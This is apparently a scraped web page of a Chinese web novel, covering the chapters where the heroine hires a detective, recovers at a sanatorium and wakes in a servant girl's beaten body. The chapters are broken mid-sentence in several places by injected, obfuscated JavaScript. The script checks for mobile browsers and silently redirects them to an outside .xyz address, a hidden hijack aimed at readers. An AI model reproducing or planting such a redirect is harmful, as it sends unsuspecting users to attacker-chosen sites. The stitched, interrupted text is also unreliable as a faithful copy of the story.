d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856794|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将视为你完成任务的额外收获，组里会根据产生的具体量值，给你发放奖金。具体标准我就不细说了，你自己到内网任务系统查看吧。” “这个复利奖金，好像没有写到合同里？”岳晴提出疑义，“之前入职的时候也没人提到。” “是的，不是所有任务完成都产生复利的，主要看你任务对象的情况了。害怕和你们有纠纷说不清楚就没写。但为了鼓励大家好好干，额外设置了这项奖金。” 岳晴想想这事自己总之不亏，打算回去详细研究下，以后做任务没准就能多拿钱。 “谢谢崔队，我会继续努力的。”她略顿了下，“对了，我以前租的房子到期了。我不想继续回以前那家医院了。崔队，你能不能帮我联系下K75星的疗养院？” 崔蕨倒抽一口凉气，“你认真的？K75星的疗养院在全联邦收费可是数一数二的贵，你的工资和奖金，能住多久？” “先帮我交一个月的钱吧，费用我等下转你。”岳晴仰在椅背上懒散地靠着，笑了笑，“辛苦赚钱不就是为了让自己过上更好的生活吗？花没了，我就再赚。” 搬出医院的事，早在这次任务开始前，她就想好了。 从简陋的公立医院转去疗养院只是第一步，她得先在舒适的地方，把自己的身体和心情养回来。 除了工作任务，接下来还有很多事情等着她去做。 晚上9点多，崔蕨送岳晴登上了前往K75星疗养院的摆渡舰。 她买的是摆渡舰的普通舱，与崔蕨告别后，智能轮椅送她到达她的座位，岳晴手撑着挪到了座位上坐好，系好了安全带，跟轮椅挥了挥手，轮椅跟她道了声再见，调转方向离开了舰舱。 飞舰很快就起飞了，岳晴在座椅上睡了一觉，等她醒来，看了看提示信息，似乎离抵达目的地还有好长时间。她启动佩戴的手环式光脑，开始浏览起八卦信息。 其中一条，是关于她同父异母的妹妹岳静雪的: 据悉，已故岳泗将军爱女岳静雪，已于昨日正式发布退出演艺圈的声明。有知情人士爆料，岳静雪是为了完成他与琼斯家族继承人的婚礼…… 岳晴看着影像里岳静雪精致的面庞，勾起了一点嘴角，笑意却不及眼底。 不得不承认，岳静雪从小到大都很漂亮。 岳晴还记得自己第一次见到岳静雪时，她才四岁，穿着白色的掐腰洋装，手上戴着同裙色的手套，脚上穿着褐色的小凉鞋，搭配精致花边的袜子。任谁看了，都会认为她是一位可爱的小公主。 而彼时拎着一个黑色旧箱子出现在岳家门口的她，和她一对比，那就是一个小乞丐。 当时她的渣爹，继母还有岳静雪都在花园里，享受其乐融融的家庭时光，岳晴就被管家领到了花园。 岳泗看向她的目光不冷不热，继母则表现得很慈爱，领着自己的女儿上前来，和躲得有点远的岳晴打招呼。 “姐姐，这个给你。”岳静雪递来一个花纹精致的白色瓷盒子。 岳晴接过来，感到盒子沉甸甸的，她不知道里面装的是什么。 “姐姐，你不打开看看是什么吗？” 岳晴并不是太感兴趣，但看到岳静雪似乎很希望她打开看，她只好打开了瓷盒子，然后就看到里面卧着三四只小黑蛇，蛇身缠绕在一起，不停地扭爬，每只蛇大概有成人的无名指那么粗。 她当即起了一身鸡皮疙瘩，手劲儿一松，白瓷盒子掉落在地上，小黑蛇从里面爬到了草丛中。其中一只爬到岳晴脚背上时，她被吓晕了过去。 21. 前往K75星02 岳晴收起回忆的思绪，关掉乱七八糟的八卦新闻页面，用光脑开启了一个服务市场的应用。 她在应用搜索栏，输入了“侦探委托”四个字，随即跳出来好几页搜索结果。 食指在眼前的影像滑动了几下，略微斟酌，最后她点进了一位叫作墨菲的独立侦探的主页。 墨菲擅长的调查方向包括商业调查、民事纠纷、追踪寻人等等。 岳晴注意到她在应用里的能力评级是3.5星。满分是5星，3.5星算是中不溜靠上一点。 不过，墨菲的费用却是收得相对高的。 三星侦探，还敢收费这么高。看来应该是对自己的能力是挺有信心的。 客户给她的评价，好评居多。 有几条低分评价，都是匿名的，从评价内容看来像是套模版，不太符合逻辑，不像是真实的委托人，倒像是同行刷的负分。 岳晴滑动到页面底部，想直接联系这位墨菲侦探，却发现页面居然没有“在线沟通”也没有“放进购物车”。 岳晴顿住，忽然意识到自己在苏小圆的世界呆了半个多月，已经习惯他们那些设计的很便捷的APP了。 自己所在的世界，各种资源更多的放诸在硬科技上，在文学、艺术，乃至生活服务设施的细节上，远不及苏小圆的世界。好处是在那个世界生活的人们，生活更方便了，精神世界也得到丰沛的滋养，坏处是他们充足的人力资源，也无可避免地浪费在一些无谓的细节上，一些很没意义的事情被卷到了极致。 岳晴复制了页面尾部的邮箱地址，用光脑打开自己的邮箱，给这位墨菲女士，发去了一份工作邀请。 - K75星疗养院，不愧是疗养行业的佼佼者。 一下星舰，就有专车来接岳晴前往。她选择的是疗养院价格最便宜的双人间，上面还有豪华单间和行政套间两个级别。 疗养院的服务人员并没有看人下菜碟，从岳晴入住到第二天的早餐服务，她都得了无微不至的照顾。 虽然是两人间，但目前她没有室友，一个人占了一间房，岳晴乐得享受这份幸运。 昨天邀约的墨菲侦探，效率还是可以的。 次日岳晴早餐结束，坐着轮椅被看护推到了户外晒太阳时，她接到了墨菲的电话。 电话里雇主和受雇者不约而同都希望面对面沟通。 这很符合岳晴的意愿，故主动提出墨菲往返K75星的费用，由她来报销。墨菲说不用了，这些已经合算在委托费用中了。 K75星的人造阳光，温暖宜人，岳晴晒了一会儿，有点眼睛睁不开，她不想就这么睡过去，于是让看护推她去阅览室。 看护把岳晴送到阅览室，先离开了，约定过1小时再来接她去吃午饭。 岳晴转动轮椅，在阅览室大致转了圈。 如她所料，阅览室艺术、文学类的书籍较少，大多都是工科和方法论类型的书籍。岳晴兴致缺缺。 幸好这里的杂志还是挺多的，靠窗摆着十来个低矮的杂志阅览架，她坐着轮椅，也能轻松拿取。 她在一排杂志架前浏览，眼花缭乱的科技杂志、新闻周刊还有八卦杂志，她都不知道拿哪一本好。 最后被一本A4大小简陋装订在一起的纸本吸引了注意力。纸本封面印着几个方方正正的字：费尔南多·佩索阿。 这么巧吗？岳晴在苏小圆的世界时，送给过卢宵一本佩索阿的诗集。 难道这里有谁去过那个世界？也读过这位诗人的诗词并有心地记录打印了出来？ …… 想不通的事情，岳晴选择暂且不去想。 如果是谁，特意让她看到这个，那这个人应该会自己出现。 挑到了合心意的读物，她只想在三面有窗的温暖阅览室里，喝着机器人送来的黑咖啡，安心地享受自己的惬意时光，并不想为其他任何事多费心。 刚在丧尸世界经历了一遭紧张的逃生，站在书架后的人原本以为岳晴会很警觉，没想到她什么都没做，仅仅是闲闲懒懒地阅读起来了，似乎，看起来还挺享受的？ 看她坐在几列高高的书架旁边的桌前，阳光柔和了她的面部轮廓，即使之前因为严重受伤还未全然恢复过来的苍白脸色，也不那么明显了。此刻，她整个人多了一份生气与悠然。 她的短发比起资料上长长了不少，头发帘也长了，从不远处望其侧面，脸部轮廓被遮住，只有挺翘的鼻梁从头发里冒出来。自在、温柔的侧影儿看着人畜无害，无法与那个在任务里处处算计得很明白的人联系在一起。 “琼斯先生，原来你在这里？”一位男看护的声音在他身旁响起，“刘医生请你过去找他一趟，说您这个月的精神情况评定还没做。” “知道了。”嘴上应承着，脸上明显的不耐烦，穿着蓝条纹病号服的年轻男人又看了一眼阳光里的女人，“这就过去。” 岳晴在疗养院里度过了悠闲的一天，次日她等到了侦探墨菲上门。 她们约在疗养院餐厅靠窗的位置相见。岳晴被看护推到地点后，自己启动轮椅来到墨菲对面。 墨菲侦探戴着一副银色的椭圆框眼镜，脸型精致小巧，留着过下巴的墨绿色短发，头发边缘经过精心打理，微微向外翘起来一点。 岳晴记得网页上她放的照片，是位看起来35+精明、干练的女侦探，可本人看着面相略显稚嫩，看起来最多30岁左右？ 臆测别人的年龄不算礼貌，岳晴及时打住了自己按照年龄评断别人工作能力的想法。 简单寒暄认识后，墨菲用随身携带的笔记本式光脑，打开了她整理的资料—— “岳女士，这些都是用你提供的信息汇总整理的。在我们之前的通话中，你提出两个诉求，我们先说比较复杂第一个，你希望我调查清楚你所遭遇的事故真相。关于这场事故，我想先听听你的看法。” 岳晴搅动面前咖啡杯里的银勺子，苦笑了下，“我毕业以后，一直效力于能源局下属的人类遗址发掘小组，负责在各个星球的人类遗址中发掘可用的资源。我在这里工作了六年多时间，出事前的职级是J队的副队长。 出事前不久，我的上级告诉我他即将升迁，他向上推荐了由我接替他的位置。我听到这个消息后很开心，答应了男友之前的求婚。 当时我正带领我的队员在蓝星人类遗址发掘，这个项目快要收尾了。有天半夜，突然有个工程机器人来找我，说我的副队长钟列涛被困在发掘现场了，当时我来不及通知大家，就发了一条集合信息，自己一个人先一步赶过去。 谁知道我前去的建筑突然发生了爆炸，承重墙损坏后建筑塌方……我的双腿在这场事故中没了，一只眼睛也因为爆炸时溅入的颗粒失明了。”她下意识摸了摸覆在右眼上的白色纱布。那是来到疗养院后，医师给她诊疗后，看还有轻微发炎的情况，给她上药后覆上去的。 “你特别强调了你有可能升迁的事情，你怀疑这次事故是人为的，是有人为了得到这个本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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岳晴当时联系不到斯时予，还以为他出什么事了。直到债主上门催债时，才知道斯时予因为赌博欠下了巨款。 讨债人见岳晴身体残缺，穷得叮当响，知道难为她也什么都得不到，狠狠威胁了几句，对着岳晴的脸，撒下了十几张斯时予与其他女人鬼混的亲密照片…… 看过照片，岳晴终于知道这位以前人人称赞的模范男友，实际上是一个彻头彻尾的垃圾。 他赌博、玩女人，再骗走她的钱…… 现在大可以拿着她的钱，与情人逃到不在联邦管辖范围内的野星去逍遥快活几年。等到她找到他时，可能钱早就花光了，但是—— “他拿走的，不只是我的钱，还有我对很多美好事情的憧憬。”被狠狠辜负过，她不确定自己今后是否还能爱上其他人，“我想要给自己讨回公道。” 墨菲公事公办地道：“明白了，我会尽力去办的。” 接下来，墨菲和岳晴详细说了她的调查思路和方向。岳晴大部分都非常认可，给了些自己的意见后，与她正式签订了委托调查的合同书，并支付了定金。 送走了墨菲，岳晴又在疗养院修养了一周时间。 第二周伊始，她接到了崔蕨发来的第三次任务的工作通知。 岳晴看了任务书后，着实有些头大，当晚请护工帮忙收拾完行李后，她躺在床上，一整夜都没有睡得很踏实。 这次要去的世界，是一个位于中低维度的沿海城市，市民阶级关系分明，不似苏小圆所在的社会那般开明、发达。 最惨的是，之前苏小圆好歹是小有积蓄，岳晴可以自由购买生存物资。这次她将穿越成某个大户人家的仆人之女，属于弱势中的弱势。 至于灾难类型，往往是到达世界之后才会被告知。 岳晴猜测既然是沿海城市，那很可能是海啸。 睡不着的时候，她看了许多海啸灾难中的逃生方法。 第二天起床搭乘摆渡舰时，她是顶着黑眼圈去的。 22. 沿海城市极寒考验01 岳晴上了摆渡舰，就戴上了内置贴片耳机，想换个心情，她随机打开一段早间新闻播放。 这时，恰巧有个老伯在往她头顶上的置物舱塞一只行李箱。老伯力量断档，一个没托住，箱子滑了出来…… 岳晴下意识撑住座椅扶手想站起来帮忙，但撑到一半突然意识到自己没腿了……幸好这时有个经过的高个男子帮老伯托住了箱子。 岳晴扫过帮忙的小伙子的面容，见他长得白白净净的，挺好看的，忍不住多看了他两眼。年轻男子似乎注意到了，回看向她。呃，自己盯着人家看确实有点冒犯了，岳晴急忙收回了视线。 这段插曲很快就过去了。 她在摆渡舰上睡了一觉，到达目的地后，崔蕨在站点接到她，一同前往工作大楼。 崔蕨开着那他辆“老爷车”飞行器，慢条斯理行驶在半空中，看岳晴一直没说话，关切地询问，“怎么？是K75星疗养院伙食不好？还是床不够软？你怎么看起来反而气色不好？” “没什么，就是昨晚没休息好。”岳晴手指关节扣敲着剩下的大腿，“领导，这次的任务太难了点，我压力很大。” “行了，别愁了。我有一个好消息，你上次申请的那个随身空间，给你申请下来了。” “真的！”这还真是个好消息，她打了好几次报告申请，本来以为短期内没希望了，没想到这次任务前居然给她了，“多大的空间？” “大约一个十平方的房间那么大吧，层高3米。”崔蕨听到她在旁边叹了口气，乐了，“别不知足，有就比没有好。你好好表现，回头这个空间还能再扩大。” 岳晴：“那这个小空间有什么使用限制吗？” 崔蕨：“只能存放无生命的物资，人进不去。而且仅在你前往的世界生成并存在，也就是说你人离开那个世界后，这个空间就作废了，东西带不回来。” “行吧，聊胜于无。”不管怎么说，有了这个空间，她就可以视具体情况自由选择躲灾地点了。她的目的是完成萃取百分百精神力的任务，而不是保证原主健康平安的活一辈子，随身携带10平米的小房间，储存一段时间内的物资是足够了的。 到了小组大楼，崔蕨就把岳晴移交给行动前的助理专员了。岳晴努力把精力投入到准备事项之中，调整自己的情绪，以期用更好的状态投入工作。 一切准备就绪，在岳晴到达她的B612操作室后，旁边的B611操作室的门也打开了。 “虽然琼斯先生同意你以60%的人格进入，但你的精神状态……你想好了吗？”崔蕨与一位年轻男人一前一后走入了操作间，“我们只能保证萃取者准确‘降落’到指定角色，你作为体验者只能绑定成为他身边的任一角色，万一……” “没有万一。”年轻男人在操作椅上躺好，头微微偏过去，视线盯着不远处的墙壁，那里空无一物，也不知道到底在看些什么，“你们当初选择她，就是对她百分百信任。现在怎么担心起来了？” 崔蕨有些无语，能不能完成任务是一回事，但是会不会影响他的病情，那又是另一回事。 算了，关他什么事呢。他就是个接了命令干活的人，该提醒的提醒到了就行。 “好吧，那你切勿投入太多情绪。只需要跟随萃取者完成体验。” “知道了，真啰嗦！” 崔蕨：“。” - 天朗气清，一架私人飞机降落在越港市机场。 下了飞机，有接驳车将商老爷、商太太及商家的少爷和小姐，还有随行的四名仆从接到停车场，再分了几辆车把一行人送回位于市郊半山的商家大宅。 坐了十几个小时飞机，商家人累坏了。特别是商太太，恐高又晕机，中饭都省去了，回到房间歇息后，一直没有出来。 商老爷和商太太分房睡已经有五年了，听到商太不吃中饭，商老爷让司机陪自己出门了，也不知道去了哪里，一直到晚饭也没回来。 越港现在正值潮湿闷热的夏日末梢，商家从上到下都恹恹的，整座大宅像是睡着了。 下午四点多，楼梯处终于有了些动静。 是从小照顾商少爷的保姆刘妈的女儿乌璃，端着一盅去湿健脾的滋补汤，来到三楼最东边的房间，敲了敲门，“少爷，你还在睡吗？” 房间里没传出任何回应，乌璃轻叹了声，端着托盘转过去半个身子打算离开时，门忽然开了。 “进来，等你半天了——”门里闪出一个年轻男人，拽着她的灰色衣袖将她带到了房间里。 汤盅因为他的动作在餐盘上摇晃，汤汁顺着颠开的盖子缝隙，洒出来不少。 乌璃蹙起眉头，有些不悦，“少爷你干什么！汤都洒了呢……” “别管这些了，小璃。”他粲然一笑，模样就似乌璃小房间里贴着的画报上的电影明星。无可否认，商家少爷有一副任谁看了都说好的面容。 商北霜把乌璃手上的托盘放到一边，拉着她的手就欲往房间深处走。 乌璃不怎么愿意，甩了一下他的手没甩开，商少爷不解地看向乌璃，只见她垂下眉眼，耳朵和两颊一起红了，“刚刚……刚回来，还有好多事情要忙，我怕我妈忙不过来。” “那你晚上过来？”乌璃的羞怯，是最让商北霜动心的，他在她绯红的脸蛋上轻轻啄了一下，“你答应我一起看电影的，你别忘记了。” “知……知道了。”乌璃把她的手从自己胳膊上扒拉下去，“少爷，你先放开我吧。” “晚上九点，我在房间等你，我让姜叔淘了好多碟片回来。你一定要来，不然我就不高兴了。”商北霜捏了捏她柔滑的脸蛋，恋恋不舍地放开了她。 乌璃从商北霜房间出来，站在门口，整理了下被他拉扯乱的衣服，才转身离开。 心情渐渐平复，谁料在走廊拐角处，她遇到了抱着手臂靠墙站着的商家小姐，商东蕊。 商夫人年轻时很美，生出的一双儿女，容貌方面也是出挑的。 商东蕊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894169|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美貌不及母亲年轻时候，可放在人堆里，也是任谁都要回头看一眼的明艳长相。 这位商小姐平时在父母、哥哥面前，总是乖巧讨人喜欢的模样。然在包括乌璃在内的下人面前，总是摆出一副冷淡疏离的模样。 “小姐，是要去找少爷吗？”乌璃努力对臭脸的小姐堆出一个笑脸，“少爷刚刚午觉醒了。” “我不是找他，我是在等你。”商东蕊挑起她的下巴，几分调侃几分肯定地道：“你去寄宿学校读了几年书回来，倒是长得越来越勾人了，怪不得在法国时，我哥的眼睛老在你身上打转。” 乌璃双手紧张地抓着裙摆，心虚的不敢与之直视，“小姐，我和少爷没什么的……” “你别解释，跟我解释没用。我就是想提醒你……”商东蕊一对美眸微微眯起，“我家够乱了，我劝你最好别再来掺上一脚。你从小在我家长大，但你妈只是我哥的保姆。你千万不要把希望寄托在我哥身上，别对他抱有幻想。不管他是怎么打算的，你们不会有好结局的。” 商东蕊说完自己想说的就走了。乌璃看着她的背影消失在拐角，接着听见她下楼的脚步声，她才松了口气。 乌璃无力地靠在墙上，回味商东蕊说的这些话，她又哪里会不懂得。 可是，她从小便喜欢商北霜，即使不能和他有什么结果，能有一段相互依偎的时光，她觉得人生也是值的。 晚上九点，忙了小一天的乌璃，在房间洗了澡，头发只来得及吹得半干，怕人等急了，急忙用托盘装了零食和饮料，来到了商北霜的房间门口。这次她还来不及敲门，门自己打开了。 商北霜早就等的不耐烦了，一听到脚步声，就知道是乌璃过来了。 他接过零食，随意放在电视机前的深棕色圆几上，又献宝似的奉上一沓碟片，“你看你想看哪一张？” 还有点湿哒哒的头发搭在乌璃的肩膀上，她捞了一把，让头发置于肩后，才接过那七八张碟片快速浏览了一遍，最后挑出一张以“男女主角在船头拥抱”的画面为封面的碟片，“看这个‘铁达尼号’好不好？上映的时候，我没去看过。我的同学们都说好看。” “行啊，听你的。”商北霜开了电视机，把碟片推到影碟机里，拉着乌璃在对面的双人皮沙发上坐下来。 影片开始播放时，乌璃尚且有点局促，坐得很靠边边，如果不是有扶手挡着，她应该随时有可能掉下去。 但看着看着，她就忘记保持距离了，商北霜越靠越近，她被画面吸引没有察觉。 直至男主角给女主角画全身像时，她感到身边有道呼吸越来越炙热，微侧过来点头，发现旁边的人没再看电影了，而是专心致志地盯着自己。 “小璃，你好香……”商北霜捧起她的脸，热烈地亲吻上来，开始还小心翼翼的，后来就越来越重了，星星之火逐渐燎原，电影里的人物对话成了此间的背景音。 乌璃在甜言蜜语和火热攻势里一点点沦陷，有人走进来，他们也没有注意到。 23. 沿海城市极寒考验02 乌璃的精神愈渐凌乱，整个人像醉在湿热的水里，商北霜的手不轻不重地揉捏时，她没有像从前一般再推下去，而是顺应着他来了。 商少爷长她两岁，今年20岁整，正是男子一生中欲念最炙盛的年岁。 先前他们在法国时，好几次也是这样擦枪走火，最后都被乌璃及时叫停了。但是今天回到商家大宅，或许是太过劳顿，也或许是电影美好情节的催化，让她防备的弦松了…… “好一对夜里偷欢的鸳鸯！光顾着亲密，连门都不锁！”说话的人声音不大，但嘲讽的意味鲜明，三分看热闹，三分讽刺，余下四分是怒与妒。 乌璃如梦初醒，急忙推开身上压着的商北霜，手忙脚乱系自己被扯开的衬衣扣子，一缕不知道是本就没干透还是重新被汗浸湿的头发从前额垂下来。 商北霜看着这样的乌璃，更加意犹未尽，他求了两个月了，现在好事被打扰，可谓愤怒到了极点！若不是此刻房门还开着，他早就破口大骂，“你不睡觉，进别人房间干什么？” “我怎么舍得睡？我的好哥哥！”商东蕊叉着腰，嘴上指责兄长，自己心里更不好受，“睡了还有好戏看？呵，你现在抱着保姆的女儿快活，难道忘了过两天还要和白家的二小姐相亲？” 乌璃不知道商北霜要相亲的事，现在听到这个消息，心迅速沉了下去。 她站起来，退后了好几部，低垂着眉眼，“是我没规矩，忘记自己的身份，以后绝不会单独进少爷房间了。” 商北霜牢牢捉住乌璃的胳膊，让她走也走不得，乌璃挣扎，她就干脆不依不挠从后面把人抱住，丝毫不管亲妹还在屋里，“阿璃，相亲的事都是母亲他们安排的，不是我自愿的。” 商东蕊冷嗤了一声。 乌璃心寒，现在只想甩开他，甩了一通未果，却见外面的灯骤然大亮！ 她听到“呜”的一声凄厉嗓音，紧接着从大厅里传来絮絮杂杂的人声、商太尖利的骂声—— 乌璃心咚咚跳了两下，趁着商北霜松懈，奔出了屋子…… 商家大厅里，灯火通明。 乌璃跌跌撞撞下楼，快到一层时，她站在楼梯上看到自己母亲衣衫不整地趴在地上，两个平时被商老爷拨派给商太太的保镖，气势汹汹地围住她母亲乌华。其中一个保镖手里握着一根半人高、手腕粗的木杖，恶狠狠地盯着母亲。 “还等什么？动手！”商太太令下，男人握着粗木棍，狠狠朝母亲背部砸下来，只见乌华朝上的半张脸五官扭结在一起，显然痛狠了，只发得出一声低低的闷哼！ 乌璃心急如焚下楼，扑到母亲身前挡住，声泪俱下看向商太太，“我妈做错了什么？太太要下狠手！” “好啊，来的正好！乌璃，你们母女在我家十来年，我给你们吃穿，还送你去上学……我可曾亏待过你们？你问问你这不知羞耻的母亲，今晚做了什么好事？”商太太不似往日优雅贵妇的模样，指着地上的乌华，气急败坏斥责，“今天晚上，如果不是我留个心眼。她和老爷……他们……” 商太太的话没说明白，但足够在场众人明白她的意思。她认定是乌璃的母亲诱惑自己的丈夫，两人差点成事，还好她“捉奸”及时。 乌璃不敢置信地看着地上已经挨了好几棍子的母亲，下意识摇了摇头，不会的，母亲一向安分守己，平时都不敢和主人家对视，为了低调不引起注意，平素甚至只穿灰色的衣服，她绝对不会做出这种事情！ 乌璃抬眼看向站在二楼默声观望此间闹剧的高大男人，心里顷刻明白过来这到底是怎么回事： 商老爷趁着自己不在房间，进了她和母亲的房间……想要强迫母亲同他发生关系，结果被商太太发现了。 就算母亲不是自愿的，落在商太太眼中，就是勾引了她丈夫。 不，也许商太太根本清楚知道到底是谁主动，谁被动？ 可又能如何？连她自己都是被商老爷豢养了几十年的金丝雀，她又哪里敢直接和商老爷叫板？有什么火，也只能冲着自己母亲发了。 “太太，求你饶了我妈……”乌璃对着商太太接连磕头，每一下都结实砸在地板上，她额头的皮肤很快就破皮了，看起来十分可怜。 商北霜心疼地想要过来拦阻，却被商东蕊拦住了。商东蕊示意他看向二楼，他们的父亲正扶着栏杆站在高处观望下方。商北霜冷不防撞上父亲冷厉的视线，身体颤了两下，不敢再动弹，只能憋屈地攥紧了双拳。 “让我饶了你？行啊。”商太太一对美眸微微眯起，嘴角漾起一抹笑意，她微微低下上半身，对上眼睛通红的乌璃，“你们母女今晚就给我滚出商家，发誓以后再不出现在我们一家人眼前，我就答应放过你们。” “我答应你，我们立刻走！” 乌璃已经看透了，商老爷显然是不打算出面了，他根本不占理，只想由着妻子对着保姆发泄一通了事，自然不会替她们说一句话的。 所以乌璃愿意顺着商太太，她只希望她们母女能渡过此劫。 而和母亲的命比起来，自己的小情小爱更加不值得一提，况且，即便没有这件事，她根本也没抱着能和商北霜有何结果的期望。 “不，我不走……就算走，也得给我个说法……！”母亲气息奄奄地看了眼二层从头到尾沉默的男人，“我在商家……十几年勤勤恳恳，从未做过任何逾矩的事，更不会，不会做出勾引主人的腌臜事……” 这些年，商老爷在外面养的女人不少，商太太心里怨怼，从不敢发作。今天乌璃母亲的事，像是一个引爆点，点燃了她积攒已久的怒气。 外面娇养的情妇，商太太不能下手，那家里粗使的保姆，她却是动得的。况且，她实在了解丈夫，还没得手，便不会当乌华是自己的女人护着。 “你什么身份，敢管我们要说法？”商太太冷笑了声，“雷二，给我打，打到她服为止！” “是，夫人！” 木棒子下来前，乌华咬牙用尽余力推开了女儿，自己再挨了狠狠几下打，很快就昏过去了。 乌璃挣脱另外一名保镖的桎梏，扑过来替母亲遭了两下打，生理性泪水一颗颗滚落。她深知再这么打下去自己和母亲都得没命，也顾不得什么尊严不尊严，她代母亲向商太太服软，表示天一亮，她们母女就离开商家，再也不会踏进这里一步。 商太太不想打出人命，虽然弄死她们母女也没什么，但处理起来麻烦，见乌璃答应走，打了几下解恨就叫停了，吩咐两名保镖把母女二人拖下去。 保镖们嫌麻烦，没把母女抬进顶层佣人房，而是把人拖进了商家作为储藏间使用的半地下室。 乌璃被拖下去的时候，目光落在一旁僵立着的商北霜身上，旋即对他笑了下。 这个笑，不是安慰自己的初恋对象，而是冷漠的嘲讽。 商北霜对她有情意，却是见色起意，两个人好的时候可以蜜里调油，然在暴躁发作的母亲面前，他也只是在旁围观了这场闹剧，没有上前为她哪怕说过一句话。这样的感情，也没什么值得她留恋的了。 昏暗的储藏间，散发着湿潮的味道。 “吱吱”的老鼠叫声，接连不断在耳边响起时，岳晴被吵醒了。 该怎么形容当下的感觉呢？ 又湿又潮的半地下室，浑身像被腌在汗里，黏腻到想要挣脱。不过比起疼痛，这些还算是好忍受的。 此时此刻，使用乌璃身体的岳晴，感到胸口像压着一块大石头，她每呼吸一下，心脏便窒息似的抽痛一下。 四肢和后背那就更不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过，社会没有苏小圆所处的时代开化、平等。乌璃所处的这个时代和地域，阶级分明，竟然还分主人和仆人。而且从乌璃脑中记忆来看，这里的治安很糟糕，警力不足，□□横行，枪支也不是禁物。 在这个社会，像乌璃母亲乌华这样的单身女性，想要生存还是挺难的。这么看来，乌华在十几年前，选择带着女儿来到商家成为商家少爷的贴身保姆，是为数不多可走的路。 边琢磨着身处的外部环境，岳晴在储藏间迅速搜刮了一遍。 食物类的，她找到了月饼、糕点、速食面、腌菜，另外还有桃子罐头、橘子罐头等等在这个时代的奢侈食物。在酒架上，她看到有红酒、米酒和白酒。 商家另外有一处酒窖，距离大宅这里不远，是过去战争时期挖的防空洞，商家的好酒都储存在那里，这里放的就是品质较为一般的存货。但管她好不好，岳晴将存酒的五分之一收进了随身空间。 食物类的，岳晴拿了三分之二。 酒是放在外面的，比较显眼；而食物都在柜子里，箱子里，一时半会儿少了，别人也发现不了。 不过就算最后发现也没关系，这个时代还没有监控，谁又能知道是她拿走的？她只是出于稳妥起见行事，希望他们不要那么快发现给自己惹麻烦。 此外，靠北墙还有几个箱子，落了厚厚的土，应该放这里有些年头了。 这几个纸箱子用纸封条封着，显然不是什么贵重之物，应该是什么用不到的杂物。 不是吃的，岳晴本来不想打开。 然而，平平无奇的几个箱子，好像自带奇特的引力，将她钉在了那里。岳晴有一种古怪的预感，这几个箱子也许会对她有用。 来都来了，打开并不费事，就看看里面到底装的是什么。